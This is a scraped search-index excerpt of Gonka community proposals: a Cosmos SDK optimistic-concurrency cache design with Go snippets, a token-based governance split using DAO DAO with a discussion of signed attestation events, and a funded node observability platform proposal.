The issue is not a classical race condition — it is a root of non-determinism in optimistic (parallel) behaviour. When two transactions execute in parallel and touch overlapping store keys, the final state depends on execution timing rather than block ordering. This breaks consensus.
The Cosmos SDK's optional optimistic execution mode is not a universal, one-size-fits-all feature. Its implementation is highly case-specific to the module's access patterns. Gonka therefore implements its own OCC scheme tailored to inference-chain workloads.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#design-occ-for-gonka", "title": "Design: OCC for Gonka", "text": ""}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#scheduling", "title": "Scheduling", "text": "A scheduler takes N messages from the mempool (where N scales with CPU cores). Messages are sorted and grouped by similarity — similar messages tend to access similar store keys and have comparable execution times.
The selected N messages run as a parallel batch. The scheduler waits until all messages in the batch complete, then takes the next batch.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#conflict-detection", "title": "Conflict Detection", "text": "During execution, each transaction's read-set and write-set are recorded by the conflictTracker inside every OptimisticStore. After the batch completes:
Only the losing transactions are rescheduled to the next batch. When ordering and batch-fill rules are deterministic, the entire parallel execution remains deterministic across all validators.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#conflict-resolution-ordering", "title": "Conflict Resolution Ordering", "text": "When two transactions in the same batch both write the same key, the winner is determined by block order — the transaction that appears earlier in the ordered block survives; the later one is rolled back. This ensures every validator makes the same choice deterministically.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#grouping-by-similarity", "title": "Grouping by Similarity", "text": "Grouping criterion is the predicted access pattern of the message type. Two MsgValidation for the same model and epoch are \"similar\" — they access the same keys and take roughly the same time to execute. Static analysis per message type provides the access prediction. Most of hot messages will be gone when shardchains start to work, but anyway this approach continues to work and will be useful.
When a transaction is rolled back due to a conflict, its gas meter resets. The rescheduled execution is a fresh attempt with a fresh meter. Cosmos gas accounting therefore remains correct — the user's gas limit applies to the successful execution, not to failed speculative attempts.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#high-contention-liveness", "title": "High-Contention Liveness", "text": "By design, there should be no persistent hot keys. Shared data is mostly read and then written in deterministic flow, so sustained conflicts should not appear in normal operation.
As a safety fallback only, if repeated conflicts still happen due to unexpected workload shape, a transaction can be forced into sequential execution after N retries (configurable), guaranteeing forward progress.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#throughput-improvement", "title": "Throughput Improvement", "text": "Implementing this OCC scheme could yield N × k times better throughput for the mainchain, where:
For workloads with low key overlap (e.g. inferences touching different models), k approaches 1.0 and throughput scales nearly linearly with cores.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#phase-1-two-level-blocktx-cache-current-implementation", "title": "Phase 1: Two-Level Block/Tx Cache (Current Implementation)", "text": "Phase 1 is fully implemented and merged. There is no parallel scheduler yet. All transactions still execute sequentially. This is not optimistic execution by itself; it is a deterministic 2-level cache (tx draft + block cache) with conflict detection that can be used later in optimistic concurrent mode.
This cache provides these benefits:
Params, EpochGroupData).COSMOS_OCC_ENABLED=1).We use this 2-level block/tx cache for frequently read shared system data:
ParamsEpochGroupDataThese are hot system reads, so caching removes repeated codec overhead on the same values inside a block and transaction flow.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#protobuf-marshalunmarshal-and-gas", "title": "Protobuf Marshal/Unmarshal and Gas", "text": "Cosmos SDK marshals/unmarshals protobuf data on store reads/writes, including as part of store gas accounting. When reads/writes are served from this cache, repeated codec operations are skipped and no extra gas is spent for those cached operations in these system paths.
This is acceptable in our design because we already use no-gas or fixed-gas policies for system messages (to reduce DDoS spam risk while keeping deterministic execution). For example, EpochGroupData reads may be used by endpoint protection logic to identify participants slashed for missing inferences or missing cPoCs; this is a system check where fast execution is preferred over repeated marshalling/unmarshalling.
┌───────────────────────────────────────────────────┐\n│ OptimisticStore │\n│ │\n│ Layer 1: Tx Draft (context-scoped, per-tx) │\n│ ↓ miss │\n│ Layer 2: Block Cache (in-memory, per-block) │\n│ ↓ miss │\n│ Layer 3: Store Backend (persistent KV / protobuf) │\n│ │\n│ + conflictTracker (read/write sets per tx) │\n└───────────────────────────────────────────────────┘\ncontext.Value. Created in AnteHandler, committed to block cache on tx success in PostHandler, discarded on failure.EndBlock.Load/Save/Delete/Clone) that wraps any persistent storage (collections map, raw KV, etc.).During CheckTx, the SDK validates a transaction before it enters the mempool. The optimistic store does not commit drafts during CheckTx:
PostHandler:\n if ctx.IsCheckTx() || simulate {\n return // skip commit — mempool validation only\n }\nThis means CheckTx sees the persistent store state (or block cache if already warm), but its writes are discarded. This is correct because CheckTx must be side-effect-free.
During DeliverTx, the full lifecycle executes:
AnteHandler (OptimisticStoreDraftDecorator):\n → StoreGroup.WithDraftAll(ctx) // attach per-tx drafts\n → StoreGroup.RegisterTxAll(ctx) // register for OCC tracking\n\nMessage Execution:\n → store.Get(ctx, key) // reads: draft → block cache → backend\n → store.Set(ctx, key) // writes: go to draft\n\nPostHandler (OptimisticStoreCommitPostDecorator):\n if success:\n → StoreGroup.CommitDraftAll(ctx) // merge draft → block cache\n else:\n → StoreGroup.ReleaseDraftAll(ctx) // discard draft\n\nEndBlock:\n → StoreGroup.FlushAll(ctx) // block cache → persistent store\n\nBeginBlock (next block):\n → StoreGroup.InvalidateAll() // clear block cache + conflict tracker\nFor operations that need speculative execution within a single tx (e.g. CacheContext patterns), OptimisticStore supports branch drafts:
cacheCtx, writeCache := keeper.CacheContext(ctx)\n// speculative work on cacheCtx...\nwriteCache() // merge branch draft into parent tx draft + SDK cache\nThe StoreGroup.CacheContext method creates branch drafts for every registered store and returns a merged commit function.
OptimisticStore is a decorator — it wraps existing storage without replacing it. The StoreBackend interface makes this explicit:
type StoreBackend[K comparable, V any] struct {\n Load func(ctx context.Context, key K) (V, bool)\n Save func(ctx context.Context, key K, val V)\n Delete func(ctx context.Context, key K)\n Clone func(val V) V\n}\nAny existing collections.Map, collections.Item, or raw KV store can be wrapped by providing these four functions.
For EpochGroupData, which is stored in a collections.Map[Pair[uint64,string], EpochGroupData]:
// In keeper.go NewKeeper:\nepochGroupStore: NewOptimisticCollMap[\n epochGroupCacheKey,\n collections.Pair[uint64, string],\n types.EpochGroupData,\n](\n sb,\n types.EpochGroupDataPrefix,\n \"epoch_group_data\",\n collections.PairKeyCodec(collections.Uint64Key, collections.StringKey),\n codec.CollValue[types.EpochGroupData](cdc),\n cacheConfig,\n func(key epochGroupCacheKey) collections.Pair[uint64, string] {\n return collections.Join(key.Epoch, key.ModelId)\n },\n),\nNewOptimisticCollMap creates the collections.Map AND wraps it with an OptimisticStore in one call. The Load/Save/Delete functions delegate to the collection; Clone uses proto.Clone.
For Params, stored as a single protobuf blob at a fixed KV key:
paramsStore: NewOptimisticProtoItem[types.Params](\n storeService,\n cdc,\n types.ParamsKey,\n \"params\",\n cacheConfig,\n),\nNewOptimisticProtoItem handles marshal/unmarshal internally. GetParams and SetParams simply call paramsStore.Get(ctx) / paramsStore.Set(ctx, val).
Every optimistic store must be registered with the keeper's StoreGroup so lifecycle methods (InvalidateAll, FlushAll, WithDraftAll, etc.) apply to all stores uniformly:
k.storeGroup.Register(k.epochGroupStore.OptimisticStore)\nk.storeGroup.Register(k.paramsStore.Store())\nTo wrap a new collection with optimistic caching:
Define a cache key type (must be comparable):
type myNewCacheKey struct {\n Field1 uint64\n Field2 string\n}\nAdd the optimistic store field to Keeper:
myNewStore *OptimisticCollMap[myNewCacheKey, collections.Pair[uint64, string], types.MyNewType]\nInitialize in NewKeeper using NewOptimisticCollMap (or NewOptimisticProtoItem for singletons).
Register with the store group:
k.storeGroup.Register(k.myNewStore.OptimisticStore)\nWrite getter/setter methods on Keeper that delegate to the store:
func (k Keeper) GetMyNewData(ctx context.Context, key myNewCacheKey) (types.MyNewType, bool) {\n return k.myNewStore.Get(ctx, key)\n}\nfunc (k Keeper) SetMyNewData(ctx context.Context, val types.MyNewType) {\n key := myNewCacheKey{Field1: val.Field1, Field2: val.Field2}\n k.myNewStore.Set(ctx, key, val)\n}\nNo changes are needed to AnteHandler, PostHandler, BeginBlock, or EndBlock — the StoreGroup handles all registered stores automatically.
ante.go)", "text": "type OptimisticStoreDraftDecorator struct {\n InferenceKeeper *inferencemodulekeeper.Keeper\n}\n\nfunc (d OptimisticStoreDraftDecorator) AnteHandle(ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler) (sdk.Context, error) {\n g := d.InferenceKeeper.StoreGroup()\n newCtx := ctx.WithContext(g.WithDraftAll(ctx.Context()))\n g.RegisterTxAll(newCtx)\n return next(newCtx, tx, simulate)\n}\nante.go)", "text": "func (d OptimisticStoreCommitPostDecorator) PostHandle(ctx sdk.Context, tx sdk.Tx, simulate, success bool, next sdk.PostHandler) (sdk.Context, error) {\n newCtx, err := next(ctx, tx, simulate, success)\n if ctx.IsCheckTx() || simulate {\n return newCtx, nil // no side effects during CheckTx\n }\n g := d.InferenceKeeper.StoreGroup()\n if success {\n g.CommitDraftAll(newCtx) // merge draft → block cache\n } else {\n g.ReleaseDraftAll(newCtx) // discard draft\n }\n return newCtx, nil\n}\nmodule.go)", "text": "func (am AppModule) BeginBlock(ctx context.Context) error {\n am.keeper.StoreGroup().InvalidateAll() // clear block caches + conflict tracker\n // ... rest of begin block\n}\nmodule.go)", "text": "func (am AppModule) EndBlock(ctx context.Context) error {\n defer am.keeper.StoreGroup().FlushAll(ctx) // persist block caches to store\n // ... rest of end block\n}\nPhase 2 will add a deterministic parallel scheduler. The current conflictTracker inside OptimisticStore already tracks per-tx read/write sets and can detect conflicts via DetectConflicts(). What remains:
DetectConflicts() on each store, roll back losers (by block order), reschedule to next batch.DeliverTx loop with the batched scheduler; keep the same AnteHandler/PostHandler draft lifecycle.The OptimisticStore API is already designed for this:
// Enable conflict detection at startup:\n// COSMOS_OCC_ENABLED=1\n\n// After parallel batch completes:\nconflictedReads, conflictedWrites := store.DetectConflicts()\n// Roll back and reschedule conflicted txIDs...\nstore.ResetConflictTracker()\nNo changes to the store, keeper, or cache layer are expected for Phase 2 — only the addition of the scheduler and the DeliverTx loop replacement.
2026-03-26 17:48 UTC
https://github.com/gonka-ai/gonka/pull/953
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/", "title": "#1008 — Token-Based Governance: Splitting Technical and Community Decisions", "text": "🔄 Auto-sync: from Discussion #1008 every hour.
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#token-based-governance-splitting-technical-and-community-decisions", "title": "Token-Based Governance: Splitting Technical and Community Decisions", "text": "Автор: @Alert17 · Категория: Proposals · Создано: 2026-04-03 18:04 UTC · Обновлено: 2026-04-20 18:13 UTC
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#token-based-governance-splitting-technical-and-community-decisions_1", "title": "Token-Based Governance: Splitting Technical and Community Decisions", "text": ""}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#motivation", "title": "Motivation", "text": "Gonka governance currently works through the standard Cosmos SDK x/gov module. Voting power is derived from compute weight — a score each host earns through Proof of Compute activity (nonces delivered, inference work completed). In practice, this means only active hosts (node operators) participate in governance, and their influence is proportional to their hardware contribution.
This creates a fundamental mismatch between decision type and decision-maker:
As Gonka grows — more hosts, more developers, more GNK holders — this mismatch will only become more acute. Community decisions should be made by the community.
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#high-level-solution", "title": "High-Level Solution", "text": "Split governance into two tracks based on decision type, each with the appropriate voter set:
Parameter Technical Track Community Track Decision type Chain upgrades, parameter changes, security Treasury, marketing, grants, partnerships Who votes Hosts (weighted by compute) All GNK holders (weighted by staked GNK) Mechanism Existingx/gov (current system, unchanged) New Token-Based DAO (DAO DAO on CosmWasm) Hosts retain full authority over technical decisions — software upgrades, consensus parameters, node configurations. Their compute weight reflects real contribution to the network and is the right signal for protocol-level decisions.
All other decisions — how community funds are spent, which partnerships are approved, which marketing initiatives are funded — move to a Token-Based DAO where any GNK holder stakes their tokens into the DAO contract and votes proportionally to their staked balance, with results enforced automatically by smart contract.
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#why-this-is-feasible-now", "title": "Why This Is Feasible Now", "text": "CosmWasm is already active on Gonka mainnet. The community sale contract and liquidity pool contract confirm that the x/wasm module is operational. Token-Based DAOs on DAO DAO are CosmWasm smart contracts — no protocol upgrade is required to deploy them.
Gonka's development team already has experience deploying and maintaining CosmWasm contracts. This is not introducing new infrastructure — it is extending what already exists.
Why dao-voting-token-staked fits Gonka: This contract is designed for native tokens that are not used for Proof of Stake network security (e.g. ION on Juno, IBC tokens). Gonka does not use traditional PoS staking — network security is provided by compute weight via Sprint PoW and PoC V2. GNK is a reward/utility token, not a PoS staking token, which makes dao-voting-token-staked the correct module for this use case.
All proposals → x/gov → Host vote (weighted by compute) → Execution\nTechnical proposals → x/gov (unchanged) → Host vote → Execution\nCommunity proposals → Token-Based DAO → All GNK holders vote → Smart contract execution\nThe Token-Based DAO uses the dao-voting-token-staked contract. To participate in governance, GNK holders must stake their tokens into the DAO contract. This is a separate action from holding GNK in a wallet — staking locks tokens in the contract and grants voting power proportional to the staked amount.
When a proposal is created, the contract snapshots staked balances at that block height. Only tokens staked before the proposal was created count toward the vote. This prevents vote-buying attacks where someone acquires GNK after seeing a proposal.
What this means for participants: - Stake once — tokens remain staked across multiple proposals. No need to re-stake for each vote - Unstaking — tokens can be unstaked at any time (subject to an unbonding period, if configured) - No node required — any wallet can stake and vote. No Cold Account Key, no hardware, no uptime requirement - Staking ≠ locking forever — this is governance staking into the DAO contract, not PoS validator delegation
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#token-based-dao-components", "title": "Token-Based DAO Components", "text": "DAO DAO uses three CosmWasm contracts to power a Token-Based DAO:
Contract Roledao-core Central registry, holds DAO configuration and treasury dao-proposal-single Proposal creation, voting period management, tally dao-voting-token-staked Manages GNK staking into the DAO, calculates voting weight from staked balances at any block height"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#decision-classification", "title": "Decision Classification", "text": "Category Examples Track Chain upgrade New binary version, Cosmovisor upgrade Technical → x/gov Parameter change Epoch length, collateral requirements, PoC V2 settings Technical → x/gov Security Emergency halts, critical fixes Technical → x/gov Treasury spend Marketing partnerships, media deals, any spend >10K GNK Community → Token-Based DAO Grants Ecosystem fund allocations, developer grants Community → Token-Based DAO Partnerships Exchange listings, integration agreements, co-marketing Community → Token-Based DAO Community initiatives Events, educational content, ambassador programs Community → Token-Based DAO Default classification rule: If a proposal does not clearly fall into a single track, it defaults to the Community track (Token-Based DAO). The rationale: community decisions affect more stakeholders, and the wider voter set provides a more representative outcome. Any participant can challenge a classification by submitting a counter-proposal to the other track — the first to reach quorum takes precedence.
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#proposed-governance-parameters-token-based-dao", "title": "Proposed Governance Parameters (Token-Based DAO)", "text": "Parameter Proposed Value Rationale Voting period 7 days Sufficient time for community awareness Quorum 5% of staked GNK in the DAO Realistic given that only on-chain, non-exchange GNK can be staked Passing threshold 50% Yes (excluding Abstain) Standard majority Veto threshold 33% NoWithVeto Consistent with Cosmos standard Proposal deposit 500 GNK Spam prevention; refunded on pass or fail, burned on vetoNote on quorum: GNK held on centralized exchanges cannot be staked into the DAO contract and therefore cannot vote. The 5% quorum is calculated against staked GNK in the DAO, not total circulating supply — this makes the threshold achievable while still requiring meaningful participation.
Note on veto risk: With token-weighted voting, large holders could theoretically veto proposals unilaterally if they hold >33% of staked GNK. This is a known property of all token-weighted governance systems. The mitigation is broad staking participation — as more holders stake, the concentration of any single voter decreases. The community should monitor staking distribution after deployment and adjust the veto threshold via governance vote if concentration becomes a concern.
All parameters are adjustable by community vote after deployment.
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#implementation-plan", "title": "Implementation Plan", "text": "Week 1–2 — Preparation and Testing 1. Audit Gonka's existing CosmWasm deployment — confirm x/wasm permissions and available code IDs 2. Deploy and configure DAO DAO contract suite in a local environment 3. Configure dao-voting-token-staked against GNK native denom 4. Validate staking, snapshotting, voting mechanics, and automatic execution
Week 3 — Governance Proposal 5. Submit on-chain x/gov proposal to authorize DAO DAO contract deployment on mainnet 6. Community review period
Week 4 — Mainnet Deployment 7. Deploy contracts to mainnet 8. Transfer an initial governance sub-fund of 10,000,000 GNK from the Community Pool (120M GNK) to the Token-Based DAO treasury via x/gov Community Pool Spend proposal 9. x/gov remains active for technical decisions — only community decisions migrate to the DAO
90-Day Parallel Period Both systems run simultaneously. Community builds confidence in the new DAO before expanding treasury scope. During this period: - Community proposals go through the Token-Based DAO with the initial sub-fund - Technical proposals continue through x/gov as before - At the end of the parallel period, a governance vote determines whether to expand the DAO treasury or maintain the current allocation
x/govPhase 1 (this proposal): No treasury spend requested.
Initial deployment, configuration, and testing will be contributed by the proposing team. This proposal authorizes the governance migration plan and the deployment of DAO DAO contracts on mainnet.
Phase 2 (separate proposal after validation):
Item Estimated Cost Notes Contract audit (third-party) 5,000–15,000 GNK Scope depends on customization level Initial DAO treasury sub-fund 10,000,000 GNK From Community Pool viax/gov spend proposal Deployment and integration Contributed No cost to treasury The Phase 2 budget will be submitted as a separate on-chain x/gov Community Pool Spend proposal once the implementation is validated during Weeks 1–2.
dao-voting-token-staked — native token staking module for DAO DAO governance. Source: crates.io/crates/dao-voting-token-stakedx/gov — existing governance module, retained for technical decisions. Source: docs.cosmos.network/main/modules/gov2026-04-06 13:43 UTC
The architecture looks feasible, and using DAO DAO on top of the existing CosmWasm stack seems like a practical approach.
But a few questions still need to be clarified: — who classifies ambiguous proposals? — how is whale concentration handled? — who evaluates off-chain deliverables and outcomes?
Without clear answers to these questions, the DAO could approve decisions that are valid on-chain but messy in practice.
↳ Ответ от @Alert17 · 2026-04-07 11:13 UTC
Thanks. All three are valid concerns. I have some thoughts on each and can share them later, but I'd rather hear other positions and points of view first before proposing specific solutions. Would be great to discuss with the community and look at different options.
"}, {"location": "community/discussion/proposals/1008-token-based-governance-splitting-technical-and-community-dec/#2-aeoess", "title": "Комментарий 2 — @aeoess", "text": "2026-04-20 17:52 UTC
@paranjko's three questions all land on the same gap: the proposed split works at the contract level (x/gov for technical, DAO DAO for community) but the bridge between on-chain correctness and off-chain reality is left unspecified. \"Valid on-chain but messy in practice\" is the failure mode governance architectures fall into whenever the bridge stays informal.
The bridge is a thin cryptographic attestation layer, emitted as typed Cosmos SDK events, that the voting and treasury contracts listen to without taking on new trust assumptions. Three event types cover the questions raised and one implicit gap in the current parameter proposal.
1. Classification provenance: who decided Technical vs Community.
Today the classification decision is invisible. Someone routes a proposal, later it turns out it should have been the other track, no record of who made the call or on what grounds.
A signed classification note from the proposer at submission time fixes this. The note is an Ed25519-signed record carrying the proposal ID, the chosen track, a hash of the rationale text, factors considered, and alternative tracks rejected with reasons. It doesn't block anyone from re-routing (that stays a governance decision), it just makes the history auditable.
Cosmos SDK event shape:
ProposalClassificationAttested {\n proposal_id,\n proposer_pubkey,\n declared_track, // \"technical\" | \"community\"\n rationale_hash, // sha256 of the reasoning text\n factors_considered, // e.g., [\"spend_size\", \"chain_upgrade_involvement\"]\n alternatives_rejected, // other tracks + why-not\n confidence, // 0-1 self-rating, flags ambiguity\n signature\n}\nThe event is emitted by a small ante handler (slots alongside the existing ante_validation.go pattern) that verifies the signature before the proposal enters either voting module. If verification fails, the submission rejects with a clear error. If it passes, the event indexes and downstream tooling (proposal explorers, audit dashboards, governance bots) can consume it.
Ambiguous proposals surface through low confidence scores plus populated alternatives-rejected arrays. Treating confidence below a threshold as mandatory-review is straightforward. The threshold value is a governance-layer choice for Gonka.
2. Weight-class attestation: proposal-size-scoped governance parameters.
One gap that isn't in paranjko's questions but the Open Questions section of the proposal hints at: #1008 uses a flat 5% quorum and 500 GNK deposit regardless of proposal size, but a 50K GNK grant and a 10M GNK treasury sweep probably shouldn't pass under the same participation threshold.
A weight-class attestation declares the proposal's size bucket at submission (Small / Medium / Large by GNK spend, or a finer scheme) and the DAO contract applies bucket-appropriate quorum and threshold rules. Same signature infrastructure as classification, different event:
ProposalWeightClassAttested {\n proposal_id,\n weight_class, // \"small\" | \"medium\" | \"large\"\n declared_spend_gnk,\n class_thresholds_expected, // quorum + threshold the proposer believes apply\n signature\n}\nAny verifier can cross-check declared spend against the proposal body at vote time. Intentional misdeclaration becomes evidence rather than invisible gaming. The bands themselves (spend thresholds, corresponding quorums) would live in the DAO contract config and stay governance-adjustable.
Two reasonable interpretations of weight-class worth surfacing: the size-scoped-parameters version above, or an eligibility class where the proposer's compute weight or staked GNK has to exceed a minimum for the proposal to be admissible. Both shapes are workable, and the events differ only in payload. Worth the thread's input on which the proposal intends.
3. Deliverable evaluation: who confirms the work shipped.
This is the biggest of the three. The DAO votes in Week 1, the work ships in Week 6 or later, and the current model has no on-chain signal for \"the thing that was funded actually happened.\" Release of funds is implicit in the passing vote. The gap between \"vote passed\" and \"deliverable met\" is covered by community trust rather than verification.
A three-way signed outcome record closes the gap without the DAO contract changing how it holds funds:
Consensus is auto-computed when proposer and evaluator divergence scores align within a tolerance (0.15 is a reasonable starting value, adjustable). Consensus triggers the release event the DAO treasury contract listens for. No adjudicator needed in the common case. Disputed cases escalate automatically.
ProposalDeliverableAttested {\n proposal_id,\n proposer_report: { outcome_hash, divergence_score, signature },\n evaluator_report: { evaluator_pubkey, outcome_hash, divergence_score, signature },\n adjudicator_report?: { adjudicator_pubkey, outcome_hash, signature },\n consensus: bool\n}\nOpen question worth the thread's input: is the evaluator pinned per-proposal at approval time, or nominated by the proposal itself and ratified alongside approval? Both compose with the record shape:
My instinct is per-proposal pinning. The gaming surface is smaller and the evaluator's accountability is clearer. But the nominated-then-ratified model has real arguments too, particularly for proposals with specialized technical scope where few community members have the expertise to evaluate.
On whale concentration.
The attestation layer doesn't fix this directly. Vote weight lives inside dao-voting-token-staked, and that's contract-level, not attestation-level. Curator delegation (whales delegating voting power to domain experts) is the attestation-friendly mitigation: the delegation record becomes a signed event with monotonic scope narrowing, delegator keeps revocation authority, delegate's authority is auditable. But whales delegate only when they choose to. Quadratic or conviction voting would narrow concentration more directly, both are contract-level changes to the voting module.
Worth naming as the question where the audit layer doesn't have a clean answer, rather than pretending otherwise.
On implementation.
Happy to contribute the Go-side pieces if #1008 moves forward with this shape:
ante_validation.go pattern)All three are small, specific pieces that sit alongside the existing x/gov, DAO DAO, and ante chain without requiring changes to any of them.
The signing, scoring, and three-way consensus primitives already exist as TypeScript and Python reference implementations. The Cosmos SDK Go adapter is the specific missing bridge, and it's Gonka-shaped work regardless (not something that gets reused by a non-Cosmos consumer). Worth doing right for Gonka first, then generalizing if other Cosmos projects ask later.
↳ Ответ от @Alert17 · 2026-04-20 18:13 UTC
Thanks, this is a really interesting angle. The attestation layer framing makes sense: treating classification, weight-class, and deliverable verification as signed records that sit alongside the existing contracts rather than inside them keeps the surface small and composable.
I'd say this is a full, self-contained option for the set of problems that need to be solved here, and definitely one worth keeping on the table as the discussion develops. Still want to hear where others land before converging on a specific direction, but appreciate you writing it up in this much detail.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/", "title": "#1085 — INC4 | Gonka Node Observability Platform", "text": "🔄 Auto-sync: from Discussion #1085 every hour.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#inc4-gonka-node-observability-platform", "title": "INC4 | Gonka Node Observability Platform", "text": "Автор: @rwxr-xr-x · Категория: Proposals · Создано: 2026-04-16 18:05 UTC · Обновлено: 2026-04-18 07:51 UTC
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#gonka-node-observability-platform", "title": "Gonka Node Observability Platform", "text": "Proposal by INC4 (https://inc4.net) | 16 April 2026
Funding Request: \\$96,000 USD (USDT) for 12 months
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#table-of-contents", "title": "Table of Contents", "text": "Today's explorers and dashboards only show on-chain data, leaving the off-chain state of validators completely opaque. The few operators who do run their own monitoring use different tools, different metrics, and different baselines, leading to different interpretations and making it harder to coordinate when problems arise. The network lacks a single source of truth and a common framework for measuring validator health.
Even today, simply watching how validators operate reveals that many are not reacting to technical problems in time — growing Inference Miss Rates, dropping CPoC Ratios, network sync falling behind. These patterns persist because operators have no way to see the early warning signs or get emergency alerts inside their own infrastructure.
To address this, INC4 — an active Gonka validator operator with hands-on experience in blockchain infrastructure and observability — proposes the creation of the Gonka Node Observability Platform — an open-source, opt-in observability stack that aggregates off-chain metrics from Network nodes and ML nodes into a shared, publicly accessible dashboard. The platform is deployed on independent cloud infrastructure — without using resources of any individual validator or granting anyone privileged access — so that all operators have equal access and visibility into the data.
For the Core Team — a unified view of the entire network, visibility into problematic nodes and time periods, data for informed protocol decisions, SLA reports, and the ability to assess the scope of network-wide issues before and after upgrades. For Individual Validators — real-time alerts, performance comparison against network averages, opt-in log sharing to get help with troubleshooting and metrics interpretation, and no need to build your own monitoring stack.
Detecting and preventing even a single major network-wide incident, or a series of smaller incidents at individual validators, can save the ecosystem far more than the annual cost of this platform. The primary beneficiaries are the validator operators themselves, who bear the direct cost of every missed epoch and every hour of undiagnosed downtime — especially individual hosts without dedicated DevOps staff, for whom building and maintaining a comparable monitoring stack on their own is simply not feasible.
We request \\$96,000 in USDT over 12 months, paid in quarterly tranches, to deploy and maintain a production-grade observability platform — custom Gonka exporters, fleet-wide and individual dashboards, opt-in log aggregation, external endpoint health checks, alerting and SLA reporting, hands-on validator onboarding, incident response support, and ongoing operational maintenance. All code, configurations, and dashboards will be open-source and published in public GitHub repositories.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#2-problem-statement", "title": "2. Problem Statement", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#off-chain-state-of-the-network-is-not-visible", "title": "Off-chain state of the network is not visible", "text": "Gonka is a growing network with over a hundred validators, an even larger number of ML nodes, and a combined GPU fleet exceeding 3,000 cards. Existing block explorers and dashboards show on-chain data — block heights, transactions, voting power. But there are zero tools for network-wide off-chain observability — GPU health, container status, miss rate root causes, model load times, LLM performance metrics, infrastructure trends, etc. Each operator monitors their infrastructure in isolation — or doesn't monitor at all. Those who do monitor set up their own tools, calculate metrics differently, and use different baselines — which leads to miscommunication and confusion when discussing network issues.
Specifically, existing tools do not show:
In practice, validators have experienced prolonged periods of high miss rate or inference downtime without being able to identify the root cause. At the same time, the Core Team had no way to see the scope of such issues across the network. These situations result in lost rewards for operators and delayed response from the team — problems that a shared observability platform would help detect and resolve much faster.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#what-happens-without-a-solution", "title": "What happens without a solution", "text": "Aggregating telemetry and metrics from validators into a shared backend is a well-established practice across the blockchain industry. Multiple major networks already do this:
https://metrics.solana.com:3000https://telemetry.polkadot.iohttps://telemetry.polkadot.io/#list/Kusamatelemetry.nearone.org) and pushes data every 10 secondstelemetry.mainnet.aptoslabs.com) by default; the architecture is documented in a public SPECotel.celestia.observer) for DA nodes, plus a Prometheus-based observability stack for consensus nodesThis is not an exotic idea. It is how mature networks gain visibility into their health, diagnose issues faster, and make data-driven protocol decisions.
In many blockchain networks, node telemetry is collected without operators being fully aware of it — telemetry is often enabled by default in the node software, and in some cases operators have no way to disable it at all.
By contrast, the Gonka Node Observability Platform is designed as a fully opt-in system — validators choose to participate, and no data is collected without their explicit action.
The more validators that join, the more accurate and complete the picture of network health becomes. A platform with 30% of validators connected provides useful insights; one with 80% becomes a reliable source of truth for the entire ecosystem.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#4-proposed-solution", "title": "4. Proposed Solution", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#gonka-node-observability-platform_1", "title": "Gonka Node Observability Platform", "text": "A managed, open-source observability stack where validator operators voluntarily push off-chain metrics to a shared platform maintained by INC4.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#design-principles", "title": "Design principles", "text": "Principle Implementation Open-source All exporters, dashboards, alert rules, and configuration will be open-source and available for audit by any interested party Opt-in Participation is voluntary, no validator is required to share data — but every participant makes the platform more valuable for the entire network Push-based Nodes push metrics outbound via HTTPS, no new inbound ports required, existing firewall configs are preserved Non-intrusive The platform is a separate layer — it does not interact with consensus, block production, or inference execution, a platform outage has zero effect on the Gonka network Privacy The platform will only collect metrics necessary to understand validator health and performance — such as block height, sync status, miss rate, GPU utilization, container status, resource usage, etc. No sensitive information will be collected — no private keys, wallet balances, mnemonic phrases, or account credentials"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#value-delivered", "title": "Value delivered", "text": "For the Core Team: - Aggregated fleet-wide metrics and logs in one place - Instant visibility into problematic nodes, epochs, and time periods - SLA reports and data-driven decision making for protocol upgrades - Incident response support with root cause analysis
For validators: - No need to build and maintain your own monitoring stack - Compare your node's performance against network averages - Receive alerts via Telegram or Discord when something goes wrong - Share logs for collaborative troubleshooting when experiencing issues - Access dashboards from any device, including mobile - Hands-on help with metrics interpretation and incident diagnosis
